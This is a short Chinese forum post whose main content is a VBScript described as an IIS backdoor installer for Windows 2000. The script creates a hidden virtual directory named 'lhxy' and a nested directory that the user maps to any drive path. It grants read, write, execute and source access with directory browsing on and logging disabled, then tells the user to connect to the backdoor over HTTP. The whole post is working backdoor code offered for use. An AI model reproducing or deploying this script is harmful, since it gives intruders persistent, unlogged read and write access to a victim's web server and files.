help1="IIS后门设置器 FOR WIN2000 BY 动鲨 3月3号2004 年" help2="请输入正确的虚拟目录名称和映射的路径,格式如下" help3=" cscript.exe iis.vbs 虚拟目录的名称 映射的路径" help4="例如: cscript.exe iis.vbs lh e:\" set Args = Wscript.Arguments if args.count < 2 then wscript.echo help1 wscript.echo "" wscript.echo help2 wscript.echo "" wscript.echo help3 wscript.echo "" wscript.echo help4 wscript.quit end if strVRName=args(0) ’’虚拟目录名称 strRootPath=args(1) ’’虚拟目录路径 Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root") For each VR in checkVirtualDir if VR.Name="lhxy" Then foundt ="yes" else foundt= "no" End If Next if foundt ="yes" then wscript.echo "发现已经创建了lhxy目录,正在设置自定义的虚拟目录" creatvdir else wscript.echo "正在创建lhxy目录,以及自定义文件夹,请等待!" creatlhxy creatvdir end if wscript.echo "你创建的虚拟目录名称是"& strVRName &",映射的文件夹是 " & strRootPath &"。" wscript.echo "请访问http://IP/lhxy/"& strVRName &"/ 来连接后门!" wscript.echo "恭喜!后门设置全部完成!" sub creatlhxy() Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root") Set myDir=objDir.Create("IISWebVirtualDir","lhxy") myDir.AccessRead=true myDir.DefaultDoc=mydir.DefaultDoc myDir.AppIsolated=0 myDir.AccessExecute=true myDir.DontLog=true myDir.AccessSource=true myDir.EnableDirBrowsing=true myDir.setinfo end sub sub creatvdir() Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy") Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName) VirDir.AccessRead=true VirDir.Path=strRootPath VirDir.DefaultDoc="" VirDir.AccessExecute=true VirDir.AccessWrite=true VirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VirDir.CreateProcessAsUser=0 VirDir.setInfo end sub wscript.quit |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-9-30 07:16 , Processed in 0.157520 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.